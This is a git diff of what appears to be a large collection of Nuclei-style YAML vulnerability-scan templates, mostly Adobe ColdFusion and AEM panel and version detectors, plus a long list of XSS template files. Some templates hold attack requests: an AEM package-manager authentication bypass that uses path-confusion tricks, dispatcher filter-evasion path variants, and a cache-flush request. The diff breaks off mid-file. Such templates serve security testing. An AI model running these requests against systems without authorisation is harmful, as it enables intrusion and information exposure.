./poc/xss/qcubed-xss-2.yaml -./poc/xss/qcubed-xss-9749.yaml +./poc/xss/qcubed-xss.yaml ./poc/xss/rails6-xss-9797.yaml +./poc/xss/rails6-xss-9798.yaml ./poc/xss/rails6-xss-9799.yaml ./poc/xss/rails6-xss-9800.yaml ./poc/xss/reflected-xss-apollo.yaml @@ -104121,10 +104682,10 @@ ./poc/xss/rockmongo-xss-9902.yaml ./poc/xss/rockmongo-xss-9903.yaml ./poc/xss/rockmongo-xss-9904.yaml +./poc/xss/rxss.yaml ./poc/xss/samsung-wlan-ap-xss-10012.yaml ./poc/xss/samsung-wlan-ap-xss-10013.yaml ./poc/xss/samsung-wlan-ap-xss-10014.yaml -./poc/xss/samsung-wlan-ap-xss.yaml ./poc/xss/sassy-social-share-xss.yaml ./poc/xss/seo-panel-reset-password-xss.yaml ./poc/xss/setPreferences-xss.yaml @@ -104133,27 +104694,26 @@ ./poc/xss/sick-beard-xss-10231.yaml ./poc/xss/sick-beard-xss-10232.yaml ./poc/xss/sick-beard-xss-10233.yaml -./poc/xss/sick-beard-xss-10234.yaml ./poc/xss/simple-xss.yaml ./poc/xss/sniplets-xss-10344.yaml ./poc/xss/sniplets-xss-10345.yaml ./poc/xss/sniplets-xss.yaml ./poc/xss/squirrelmail-add-xss-10515.yaml -./poc/xss/squirrelmail-vkeyboard-xss-10522.yaml +./poc/xss/squirrelmail-vkeyboard-xss.yaml ./poc/xss/swagger-xss.yaml ./poc/xss/t-soft-e-commerce4-urunadi-stored-xss.yaml ./poc/xss/thruk-xss-10758.yaml ./poc/xss/thruk-xss-10759.yaml -./poc/xss/thruk-xss.yaml ./poc/xss/tikiwiki-reflected-xss-1.yaml ./poc/xss/tikiwiki-reflected-xss-10777.yaml ./poc/xss/tikiwiki-reflected-xss-10778.yaml ./poc/xss/tikiwiki-reflected-xss-10779.yaml -./poc/xss/tikiwiki-reflected-xss-10780.yaml ./poc/xss/tikiwiki-reflected-xss-2.yaml ./poc/xss/tikiwiki-reflected-xss.yaml +./poc/xss/tikiwiki-xss.yaml ./poc/xss/top-15-xss.yaml ./poc/xss/top-xss-params-10806.yaml +./poc/xss/top-xss-params-10807.yaml ./poc/xss/top-xss-params-10808.yaml ./poc/xss/top-xss-params-10809.yaml ./poc/xss/top-xss-params.yaml @@ -104173,9 +104733,10 @@ ./poc/xss/wems-manager-xss-11192.yaml ./poc/xss/wems-manager-xss-11193.yaml ./poc/xss/wems-manager-xss-11194.yaml +./poc/xss/wems-manager-xss.yaml ./poc/xss/window-name-domxss-11212.yaml -./poc/xss/window-name-domxss-11213.yaml ./poc/xss/window-name-domxss-11214.yaml +./poc/xss/window-name-domxss.yaml ./poc/xss/wordpress-wordfence-waf-bypass-xss-11353.yaml ./poc/xss/wordpress-wordfence-waf-bypass-xss-11354.yaml ./poc/xss/wordpress-wordfence-waf-bypass-xss-11355.yaml @@ -104202,22 +104763,20 @@ ./poc/xss/wp-church-admin-xss-11421.yaml ./poc/xss/wp-church-admin-xss-11422.yaml ./poc/xss/wp-church-admin-xss-11423.yaml -./poc/xss/wp-church-admin-xss-11424.yaml ./poc/xss/wp-church-admin-xss.yaml ./poc/xss/wp-code-snippets-xss-11425.yaml -./poc/xss/wp-code-snippets-xss-11426.yaml -./poc/xss/wp-custom-tables-xss-11431.yaml ./poc/xss/wp-custom-tables-xss-11432.yaml ./poc/xss/wp-custom-tables-xss-11433.yaml +./poc/xss/wp-custom-tables-xss-11434.yaml ./poc/xss/wp-custom-tables-xss-11435.yaml ./poc/xss/wp-custom-tables-xss.yaml +./poc/xss/wp-finder-xss-11445.yaml ./poc/xss/wp-finder-xss-11447.yaml ./poc/xss/wp-finder-xss-11448.yaml -./poc/xss/wp-finder-xss-11449.yaml ./poc/xss/wp-finder-xss-11450.yaml ./poc/xss/wp-finder-xss.yaml +./poc/xss/wp-flagem-xss-11451.yaml ./poc/xss/wp-flagem-xss-11452.yaml -./poc/xss/wp-flagem-xss-11453.yaml ./poc/xss/wp-flagem-xss-11454.yaml ./poc/xss/wp-flagem-xss.yaml ./poc/xss/wp-gutenberg-xss.yaml @@ -104225,7 +104784,6 @@ ./poc/xss/wp-knews-xss-11484.yaml ./poc/xss/wp-knews-xss-11485.yaml ./poc/xss/wp-knews-xss-11486.yaml -./poc/xss/wp-knews-xss-11487.yaml ./poc/xss/wp-knews-xss-11488.yaml ./poc/xss/wp-knews-xss.yaml ./poc/xss/wp-nextgen-xss-11514.yaml @@ -104235,10 +104793,10 @@ ./poc/xss/wp-nextgen-xss.yaml ./poc/xss/wp-phpfreechat-xss-11524.yaml ./poc/xss/wp-phpfreechat-xss-11526.yaml -./poc/xss/wp-phpfreechat-xss-11527.yaml ./poc/xss/wp-phpfreechat-xss-11528.yaml ./poc/xss/wp-phpfreechat-xss-11529.yaml ./poc/xss/wp-phpfreechat-xss.yaml +./poc/xss/wp-plugin-marmoset-viewer-xss-11537.yaml ./poc/xss/wp-plugin-marmoset-viewer-xss-11538.yaml ./poc/xss/wp-plugin-marmoset-viewer-xss.yaml ./poc/xss/wp-qwiz-online-xss.yaml @@ -104259,9 +104817,8 @@ ./poc/xss/wp-socialfit-xss-11582.yaml ./poc/xss/wp-socialfit-xss.yaml ./poc/xss/wp-whmcs-xss-11613.yaml -./poc/xss/wp-whmcs-xss-11614.yaml ./poc/xss/wp-whmcs-xss.yaml -./poc/xss/wpmudev-my-calender-xss-11503.yaml +./poc/xss/wpmudev-my-calender-xss-11502.yaml ./poc/xss/wpmudev-my-calender-xss.yaml ./poc/xss/xss-check.yaml ./poc/xss/xss-fuzz-11700.yaml diff --git a/poc/adobe/adobe-coldfusion-detect-82.yaml b/poc/adobe/adobe-coldfusion-detect-82.yaml index 0d9330c87c..e19f7d4be2 100644 --- a/poc/adobe/adobe-coldfusion-detect-82.yaml +++ b/poc/adobe/adobe-coldfusion-detect-82.yaml @@ -5,9 +5,13 @@ info: author: philippedelteil severity: info description: With this template we can detect the version number of Coldfusion instances based on their logos. - tags: adobe,coldfusion + metadata: + verified: true + max-request: 6 + shodan-query: http.component:"Adobe ColdFusion" + tags: adobe,coldfusion,tech -requests: +http: - method: GET path: - "{{BaseURL}}/CFIDE/administrator/images/mx_login.gif" @@ -17,7 +21,7 @@ requests: - "{{BaseURL}}/CFIDE/administrator/images/componentutilslogin.jpg" - "{{BaseURL}}/cfide/administrator/images/componentutilslogin.jpg" - redirects: true + host-redirects: true stop-at-first-match: true max-redirects: 2 matchers: @@ -60,3 +64,5 @@ requests: name: "coldfusion-mx-7" dsl: - "status_code==200 && (\"cb594e69af5ba15bca453f76aca53615\" == md5(body))" + +# digest: 4a0a00473045022100faa12701b8bc27ab386795db36e16861a6a66b66d8fb9cd15ac80cb9409141df02205a53027693929221e1489f3e72cf8d72c2b6061ffced415bc66e005548780060:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/adobe-coldfusion-detect.yaml b/poc/adobe/adobe-coldfusion-detect-83.yaml similarity index 100% rename from poc/adobe/adobe-coldfusion-detect.yaml rename to poc/adobe/adobe-coldfusion-detect-83.yaml diff --git a/poc/adobe/adobe-coldfusion-error-detect-88.yaml b/poc/adobe/adobe-coldfusion-error-detect-88.yaml index efe9fab702..c6e8e0d1ea 100644 --- a/poc/adobe/adobe-coldfusion-error-detect-88.yaml +++ b/poc/adobe/adobe-coldfusion-error-detect-88.yaml @@ -5,15 +5,10 @@ info: author: philippedelteil severity: info description: With this template we can detect a running ColdFusion instance due to an error page. - reference: - - https://twitter.com/PhilippeDelteil/status/1418622775829348358 - metadata: - verified: true - max-request: 1 - shodan-query: http.component:"Adobe ColdFusion" - tags: adobe,coldfusion,tech + reference: https://twitter.com/PhilippeDelteil/status/1418622775829348358 + tags: adobe,coldfusion -http: +requests: - method: GET path: - "{{BaseURL}}/_something_.cfm" @@ -28,5 +23,3 @@ http: - type: status status: - 404 - -# digest: 4a0a00473045022068efa69e7486fc3192208ad0e2a27d0f5617cd74743f02d143f7bb64af6556da022100b5540b7df95ff7b71b3394a2f63ddd5e42d5473d8c6febd42195b9fa73496c27:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/adobe-coldfusion-error-detect-86.yaml b/poc/adobe/adobe-coldfusion-error-detect.yaml similarity index 100% rename from poc/adobe/adobe-coldfusion-error-detect-86.yaml rename to poc/adobe/adobe-coldfusion-error-detect.yaml diff --git a/poc/adobe/adobe-component-login-89.yaml b/poc/adobe/adobe-component-login-89.yaml new file mode 100644 index 0000000000..9b423f9a58 --- /dev/null +++ b/poc/adobe/adobe-component-login-89.yaml @@ -0,0 +1,32 @@ +id: adobe-coldfusion-login + +info: + name: Adobe ColdFusion Component Browser Login Panel + author: dhiyaneshDK + description: An Adobe ColdFusion Component Browser login panel was detected. + severity: info + reference: + - https://www.exploit-db.com/ghdb/6846 + tags: panel,adobe,coldfusion + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - '{{BaseURL}}/CFIDE/componentutils/login.cfm' + - '{{BaseURL}}/cfide/componentutils/login.cfm' + + matchers-condition: and + matchers: + - type: word + words: + - 'Component Browser Login' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/adobe/adobe-component-login-90.yaml b/poc/adobe/adobe-component-login-90.yaml deleted file mode 100644 index 1d46e94118..0000000000 --- a/poc/adobe/adobe-component-login-90.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: adobe-coldfusion-login - -info: - name: Adobe ColdFusion Component Browser Login Panel - author: dhiyaneshDK - severity: info - description: An Adobe ColdFusion Component Browser login panel was detected. - reference: - - https://www.exploit-db.com/ghdb/6846 - classification: - cwe-id: CWE-200 - metadata: - shodan-query: http.component:"Adobe ColdFusion" - tags: panel,adobe,coldfusion - -requests: - - method: GET - path: - - '{{BaseURL}}/CFIDE/componentutils/login.cfm' - - '{{BaseURL}}/cfide/componentutils/login.cfm' - - matchers-condition: and - matchers: - - type: word - words: - - 'Component Browser Login' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/20 diff --git a/poc/adobe/adobe-component-login.yaml b/poc/adobe/adobe-component-login.yaml index 9b423f9a58..8ae7641799 100644 --- a/poc/adobe/adobe-component-login.yaml +++ b/poc/adobe/adobe-component-login.yaml @@ -3,18 +3,18 @@ id: adobe-coldfusion-login info: name: Adobe ColdFusion Component Browser Login Panel author: dhiyaneshDK - description: An Adobe ColdFusion Component Browser login panel was detected. severity: info + description: An Adobe ColdFusion Component Browser login panel was detected. reference: - https://www.exploit-db.com/ghdb/6846 - tags: panel,adobe,coldfusion classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: cwe-id: CWE-200 + metadata: + max-request: 2 + shodan-query: http.component:"Adobe ColdFusion" + tags: panel,adobe,coldfusion,edb -requests: +http: - method: GET path: - '{{BaseURL}}/CFIDE/componentutils/login.cfm' @@ -25,8 +25,9 @@ requests: - type: word words: - 'Component Browser Login' + - type: status status: - 200 -# Enhanced by mp on 2022/03/20 +# digest: 4b0a00483046022100ba657b03f337ba840c4e3f68fd52b67f39aa4e411ab302c57f369b409f3bb2ec0221008fff314071fae9bd1e57b791e0fbee233b61e25b2637db47a2ae5936c9a954c9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/adobe-connect-central-login-93.yaml b/poc/adobe/adobe-connect-central-login-93.yaml new file mode 100644 index 0000000000..fdaf816057 --- /dev/null +++ b/poc/adobe/adobe-connect-central-login-93.yaml @@ -0,0 +1,33 @@ +id: adobe-connect-central-login + +info: + name: Adobe Connect Central Login Panel + author: dhiyaneshDk + description: An Adobe Connect Central login panel was detected. + severity: info + tags: adobe,panel,connect-central + reference: + - https://www.adobe.com/products/adobeconnect.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/system/login" + + matchers-condition: and + matchers: + - type: word + words: + - 'Adobe Connect Central Login' + part: body + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/adobe/adobe-connect-central-login-97.yaml b/poc/adobe/adobe-connect-central-login-97.yaml deleted file mode 100644 index 1218c9f8d7..0000000000 --- a/poc/adobe/adobe-connect-central-login-97.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: adobe-connect-central-login - -info: - name: Adobe Connect Central Login - author: dhiyaneshDk - severity: info - tags: adobe,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/system/login" - - matchers-condition: and - matchers: - - type: word - words: - - 'Adobe Connect Central Login' - part: body - - - type: status - status: - - 200 diff --git a/poc/adobe/adobe-connect-central-login.yaml b/poc/adobe/adobe-connect-central-login.yaml index efbb0d1e8f..1218c9f8d7 100644 --- a/poc/adobe/adobe-connect-central-login.yaml +++ b/poc/adobe/adobe-connect-central-login.yaml @@ -1,19 +1,12 @@ id: adobe-connect-central-login info: - name: Adobe Connect Central Login Panel + name: Adobe Connect Central Login author: dhiyaneshDk severity: info - description: An Adobe Connect Central login panel was detected. - reference: - - https://www.adobe.com/products/adobeconnect.html - classification: - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: adobe,panel,connect-central + tags: adobe,panel -http: +requests: - method: GET path: - "{{BaseURL}}/system/login" @@ -28,5 +21,3 @@ http: - type: status status: - 200 - -# digest: 490a00463044022022b5794732a33194d5b4d44da887ecaeb96b05c239c162afcf21c7a7c752e0ac022042c44f3116cfe5a503240785509d78880bb849f0fdfb10e19f37e184b7aaeecc:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/adobe-connect-username-exposure-100.yaml b/poc/adobe/adobe-connect-username-exposure-100.yaml deleted file mode 100644 index 2e4d3089a9..0000000000 --- a/poc/adobe/adobe-connect-username-exposure-100.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: adobe-connect-username-exposure - -info: - name: Adobe Connect Username Exposure - author: dhiyaneshDk - severity: low - reference: - - https://packetstormsecurity.com/files/161345/Adobe-Connect-10-Username-Disclosure.html - tags: adobe,disclosure - -requests: - - method: GET - path: - - "{{BaseURL}}/system/help/support" - - matchers-condition: and - matchers: - - type: word - words: - - 'Administrators name:' - - 'Support Administrators email address:' - part: body - condition: and - - - type: status - status: - - 200 diff --git a/poc/adobe/adobe-connect-version-104.yaml b/poc/adobe/adobe-connect-version-104.yaml index 95b454f2f8..664993c1de 100644 --- a/poc/adobe/adobe-connect-version-104.yaml +++ b/poc/adobe/adobe-connect-version-104.yaml @@ -1,32 +1,28 @@ -id: adobe-connect-version - -info: - name: Adobe Connect Central Version - author: dhiyaneshDk - severity: info - metadata: - max-request: 1 - tags: adobe,misconfig - -http: - - method: GET - path: - - "{{BaseURL}}/version.txt" - - matchers-condition: and - matchers: - - type: word - words: - - 'package=' - part: body - - - type: word - words: - - 'text/plain' - part: header - - - type: status - status: - - 200 - -# digest: 4a0a00473045022100e63b3b76732fe722d3d76c704705f5f1fdab83c771742ce8a0f8cd2ed2fa2e5c022053f49fe20114fce1d298f13d19d4b25108498ca1d7f3591f4c6cd033205b4d09:922c64590222798bb761d5b6d8e72950 +id: adobe-connect-version + +info: + name: Adobe Connect Central Version + author: dhiyaneshDk + severity: info + tags: adobe + +requests: + - method: GET + path: + - "{{BaseURL}}/version.txt" + + matchers-condition: and + matchers: + - type: word + words: + - 'package=' + part: body + + - type: word + words: + - 'text/plain' + part: header + + - type: status + status: + - 200 diff --git a/poc/adobe/adobe-experience-manager-login-105.yaml b/poc/adobe/adobe-experience-manager-login-105.yaml new file mode 100644 index 0000000000..4dbdef1e18 --- /dev/null +++ b/poc/adobe/adobe-experience-manager-login-105.yaml @@ -0,0 +1,33 @@ +id: adobe-experience-manager-login + +info: + name: Adobe Experience Manager Login Panel + author: dhiyaneshDK + description: An Adobe Experience Manager login panel was detected. + severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 + - https://business.adobe.com/products/experience-manager/adobe-experience-manager.html + tags: panel,aem,adobe + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - '{{BaseURL}}/libs/granite/core/content/login.html' + + matchers-condition: and + matchers: + - type: word + words: + - 'AEM Sign In' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/adobe/adobe-experience-manager-login-106.yaml b/poc/adobe/adobe-experience-manager-login-106.yaml deleted file mode 100644 index 2162a6646f..0000000000 --- a/poc/adobe/adobe-experience-manager-login-106.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: adobe-experience-manager-login - -info: - name: Adobe-Experience-Manager - author: dhiyaneshDK - severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 - tags: panel,aem,adobe - -requests: - - method: GET - path: - - '{{BaseURL}}/libs/granite/core/content/login.html' - - matchers-condition: and - matchers: - - type: word - words: - - 'AEM Sign In' - - - type: status - status: - - 200 diff --git a/poc/adobe/adobe-experience-manager-login-109.yaml b/poc/adobe/adobe-experience-manager-login-109.yaml index 4dbdef1e18..9148cd29f0 100644 --- a/poc/adobe/adobe-experience-manager-login-109.yaml +++ b/poc/adobe/adobe-experience-manager-login-109.yaml @@ -3,17 +3,15 @@ id: adobe-experience-manager-login info: name: Adobe Experience Manager Login Panel author: dhiyaneshDK - description: An Adobe Experience Manager login panel was detected. severity: info + description: An Adobe Experience Manager login panel was detected. reference: - - https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 - https://business.adobe.com/products/experience-manager/adobe-experience-manager.html - tags: panel,aem,adobe classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: cwe-id: CWE-200 + metadata: + shodan-query: http.title:"AEM Sign In" + tags: panel,aem,adobe requests: - method: GET diff --git a/poc/adobe/adobe-media-server-114.yaml b/poc/adobe/adobe-media-server-114.yaml new file mode 100644 index 0000000000..deaf55913a --- /dev/null +++ b/poc/adobe/adobe-media-server-114.yaml @@ -0,0 +1,23 @@ +id: adobe-media-server + +info: + name: Adobe Media Server + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22Adobe+Media+Server%22 + tags: panel,adobe + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + words: + - 'Adobe Media Server' + + - type: status + status: + - 200 diff --git a/poc/adobe/adobe-media-server-115.yaml b/poc/adobe/adobe-media-server-115.yaml index deaf55913a..5fb03ce9f3 100644 --- a/poc/adobe/adobe-media-server-115.yaml +++ b/poc/adobe/adobe-media-server-115.yaml @@ -1,13 +1,20 @@ id: adobe-media-server info: - name: Adobe Media Server + name: Adobe Media Server Login Panel author: dhiyaneshDK severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Adobe+Media+Server%22 + description: An Adobe Media Server login panel was detected. + reference: + - https://helpx.adobe.com/support/adobe-media-server.html + classification: + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: http.title:"Adobe Media Server" tags: panel,adobe -requests: +http: - method: GET path: - '{{BaseURL}}' @@ -21,3 +28,5 @@ requests: - type: status status: - 200 + +# digest: 4b0a00483046022100a7fdf172f6f056f8d141a0d36a11e07be1db35d83d5497ff1747a7763e449505022100b06e6481fb3fb9cafe9b1ee597924f4ccd349f8b8bce5b6a5ecf98fb6c11383e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/adobe-media-server.yaml b/poc/adobe/adobe-media-server.yaml deleted file mode 100644 index be87f46642..0000000000 --- a/poc/adobe/adobe-media-server.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: adobe-media-server - -info: - name: Adobe Media Server - author: dhiyaneshDK - severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Adobe+Media+Server%22 - tags: panel,adobe - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: word - words: - - 'Adobe Media Server' - - - type: status - status: - - 200 diff --git a/poc/adobe/aem-bg-servlet-127.yaml b/poc/adobe/aem-bg-servlet-127.yaml deleted file mode 100644 index 3fa1629768..0000000000 --- a/poc/adobe/aem-bg-servlet-127.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: aem-bg-servlet - -info: - author: DhiyaneshDk - name: AEM BG-Servlets - severity: info - reference: https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212 - tags: aem - -requests: - - method: GET - path: - - '{{BaseURL}}/system/bgservlets/test.css' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '
Flushing output
' \ No newline at end of file diff --git a/poc/adobe/aem-bg-servlet-129.yaml b/poc/adobe/aem-bg-servlet-129.yaml index b751c4f52a..3fa1629768 100644 --- a/poc/adobe/aem-bg-servlet-129.yaml +++ b/poc/adobe/aem-bg-servlet-129.yaml @@ -1,17 +1,13 @@ id: aem-bg-servlet info: - name: AEM BG-Servlets author: DhiyaneshDk + name: AEM BG-Servlets severity: info - reference: - - https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212 - metadata: - max-request: 1 - shodan-query: http.component:"Adobe Experience Manager" - tags: aem,misconfig + reference: https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212 + tags: aem -http: +requests: - method: GET path: - '{{BaseURL}}/system/bgservlets/test.css' @@ -24,6 +20,4 @@ http: - type: word words: - - '
Flushing output
' - -# digest: 4a0a00473045022011679f68ea9ea8736dfbf616cd843e2cd2a218f0f4d79653b8e1b3f66e88310a022100e65d71edf92b948507e7fd6c201b5804ca45fc3c262753fe9804347322869acf:922c64590222798bb761d5b6d8e72950 + - '
Flushing output
' \ No newline at end of file diff --git a/poc/adobe/aem-cached-pages.yaml b/poc/adobe/aem-cached-pages.yaml index 6a36c8d2b3..cba756b341 100644 --- a/poc/adobe/aem-cached-pages.yaml +++ b/poc/adobe/aem-cached-pages.yaml @@ -4,22 +4,31 @@ info: name: Invalidate / Flush Cached Pages on AEM author: hetroublemakr severity: low - tags: aem - reference: https://twitter.com/AEMSecurity/status/1244965623689609217 + reference: + - https://twitter.com/AEMSecurity/status/1244965623689609217 + metadata: + max-request: 1 + shodan-query: http.component:"Adobe Experience Manager" + tags: aem,misconfig -requests: +http: - method: GET path: - "{{BaseURL}}/dispatcher/invalidate.cache" + headers: CQ-Handle: /content CQ-Path: /content + matchers-condition: and matchers: - type: word + part: body words: - "

OK

" - part: body + - type: status status: - 200 + +# digest: 4a0a00473045022100fa449369a6b6a19ef08cfa7a83f341000fcbeff5f0fe0b11f236a2463c6fc27802204261447eae5853abfbe57ff0be79318ab2cb59f47717c548474bb6f5e8225959:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/aem-crx-bypass-132.yaml b/poc/adobe/aem-crx-bypass-132.yaml deleted file mode 100644 index 37c05f023d..0000000000 --- a/poc/adobe/aem-crx-bypass-132.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: aem-crx-bypass - -info: - name: AEM Package Manager - Authentication Bypass - author: dhiyaneshDK - severity: critical - description: Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed. - remediation: "Adobe recommends AEM customers review access controls for the CRX package manager path: /etc/packages." - reference: - - https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/ - metadata: - max-request: 2 - shodan-query: http.component:"Adobe Experience Manager" - tags: aem,adobe,misconfig - -http: - - raw: - - | - GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}} - Accept-Encoding: gzip, deflate - - | - GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}} - Accept-Encoding: gzip, deflate - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'buildCount' - - 'downloadName' - - 'acHandling' - condition: and - - - type: word - part: header - words: - - 'application/json' - - - type: status - status: - - 200 - -# digest: 490a0046304402206a620fb735ebddf2d38e66617f652a1d1f980bfc98b77c0784066538fcc3193c022062a511eed56f5bd9e0eaf2f93bf17a079e6c673676cbae5e2d506e72a96f084c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/aem-default-get-servlet-136.yaml b/poc/adobe/aem-default-get-servlet-136.yaml deleted file mode 100644 index 274b345439..0000000000 --- a/poc/adobe/aem-default-get-servlet-136.yaml +++ /dev/null @@ -1,91 +0,0 @@ -id: aem-default-get-servlet - -info: - name: AEM DefaultGetServlet - author: DhiyaneshDk - severity: low - description: Sensitive information might be exposed via AEM DefaultGetServlet. - reference: - - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 - - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java - tags: aem,adobe - -requests: - - method: GET - path: - - '{{BaseURL}}/etc' - - '{{BaseURL}}/var' - - '{{BaseURL}}/apps' - - '{{BaseURL}}/home' - - '{{BaseURL}}///etc' - - '{{BaseURL}}///var' - - '{{BaseURL}}///apps' - - '{{BaseURL}}///home' - - '{{BaseURL}}/.json' - - '{{BaseURL}}/.1.json' - - '{{BaseURL}}/....4.2.1....json' - - '{{BaseURL}}/.json?FNZ.css' - - '{{BaseURL}}/.json?FNZ.ico' - - '{{BaseURL}}/.json?FNZ.html' - - '{{BaseURL}}/.json/FNZ.css' - - '{{BaseURL}}/.json/FNZ.html' - - '{{BaseURL}}/.json/FNZ.png' - - '{{BaseURL}}/.json/FNZ.ico' - - '{{BaseURL}}/.children.1.json' - - '{{BaseURL}}/.children....4.2.1....json' - - '{{BaseURL}}/.children.json?FNZ.css' - - '{{BaseURL}}/.children.json?FNZ.ico' - - '{{BaseURL}}/.children.json?FNZ.html' - - '{{BaseURL}}/.children.json/FNZ.css' - - '{{BaseURL}}/.children.json/FNZ.html' - - '{{BaseURL}}/.children.json/FNZ.png' - - '{{BaseURL}}/.children.json/FNZ.ico' - - '{{BaseURL}}/etc.json' - - '{{BaseURL}}/etc.1.json' - - '{{BaseURL}}/etc....4.2.1....json' - - '{{BaseURL}}/etc.json?FNZ.css' - - '{{BaseURL}}/etc.json?FNZ.ico' - - '{{BaseURL}}/etc.json?FNZ.html' - - '{{BaseURL}}/etc.json/FNZ.css' - - '{{BaseURL}}/etc.json/FNZ.html' - - '{{BaseURL}}/etc.json/FNZ.ico' - - '{{BaseURL}}/etc.children.json' - - '{{BaseURL}}/etc.children.1.json' - - '{{BaseURL}}/etc.children....4.2.1....json' - - '{{BaseURL}}/etc.children.json?FNZ.css' - - '{{BaseURL}}/etc.children.json?FNZ.ico' - - '{{BaseURL}}/etc.children.json?FNZ.html' - - '{{BaseURL}}/etc.children.json/FNZ.css' - - '{{BaseURL}}/etc.children.json/FNZ.html' - - '{{BaseURL}}/etc.children.json/FNZ.png' - - '{{BaseURL}}/etc.children.json/FNZ.ico' - - '{{BaseURL}}///etc.json' - - '{{BaseURL}}///etc.1.json' - - '{{BaseURL}}///etc....4.2.1....json' - - '{{BaseURL}}///etc.json?FNZ.css' - - '{{BaseURL}}///etc.json?FNZ.ico' - - '{{BaseURL}}///etc.json/FNZ.html' - - '{{BaseURL}}///etc.json/FNZ.png' - - '{{BaseURL}}///etc.json/FNZ.ico' - - '{{BaseURL}}///etc.children.json' - - '{{BaseURL}}///etc.children.1.json' - - '{{BaseURL}}///etc.children....4.2.1....json' - - '{{BaseURL}}///etc.children.json?FNZ.css' - - '{{BaseURL}}///etc.children.json?FNZ.ico' - - '{{BaseURL}}///etc.children.json?FNZ.html' - - '{{BaseURL}}///etc.children.json/FNZ.css' - - '{{BaseURL}}///etc.children.json/FNZ.html' - - '{{BaseURL}}///etc.children.json/FNZ.png' - - '{{BaseURL}}///etc.children.json/FNZ.ico' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'jcr:createdBy' - condition: and diff --git a/poc/adobe/aem-default-get-servlet-137.yaml b/poc/adobe/aem-default-get-servlet-137.yaml new file mode 100644 index 0000000000..d3546ab204 --- /dev/null +++ b/poc/adobe/aem-default-get-servlet-137.yaml @@ -0,0 +1,78 @@ +id: aem-default-get-servlet +info: + author: DhiyaneshDk + name: AEM DefaultGetServlet + severity: low + reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 + tags: aem + + +requests: + - method: GET + path: + - '{{BaseURL}}/.json' + - '{{BaseURL}}/.1.json' + - '{{BaseURL}}/....4.2.1....json' + - '{{BaseURL}}/.json?FNZ.css' + - '{{BaseURL}}/.json?FNZ.ico' + - '{{BaseURL}}/.json?FNZ.html' + - '{{BaseURL}}/.json/FNZ.css' + - '{{BaseURL}}/.json/FNZ.html' + - '{{BaseURL}}/.json/FNZ.png' + - '{{BaseURL}}/.json/FNZ.ico' + - '{{BaseURL}}/.children.1.json' + - '{{BaseURL}}/.children....4.2.1....json' + - 